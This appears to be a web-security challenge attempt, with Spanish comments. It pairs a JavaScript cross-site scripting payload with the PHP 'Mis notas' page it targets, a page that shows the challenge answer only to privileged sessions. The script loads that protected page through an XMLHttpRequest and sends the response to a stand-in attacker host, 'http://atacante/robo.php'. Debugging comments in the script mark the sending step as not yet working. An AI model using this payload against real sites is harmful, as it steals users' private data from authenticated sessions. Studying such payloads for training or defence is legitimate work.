var ajax;var resp;if (window.XMLHttpRequest) { // Mozilla, Safari,... ajax = new XMLHttpRequest();}else if (window.ActiveXObject) { // IE try { ajax = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e) { try { ajax = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} }}console.debug(ajax);ajax.onreadystatechange = recogeInfo;ajax.open("GET", "./conte/notas.php", true);ajax.send();function recogeInfo() { console.debug(ajax.readyState); console.debug(ajax.status); //if(ajax.readyState == 4 && ajax.status == 200){ if(ajax.readyState == 4){ resp = ajax.responseText; console.debug(resp); //alert(ajax.responseText);//aqui no esta entrando } //console.debug(resp);} document.location="http://atacante/robo.php?s="+resp;//no envia info
<?php defined("inicioCorrecto") or header("Location: ../index.php");?><font size=4px><b>Mis notas</b></font><hr size=1px color=silver><?php if ($_SESSION['acceso'] == 10) { echo "<div id='misnotas'><textarea style='width:575px; height:100px;'>aqui respuesta del reto</textarea></div>"; }?>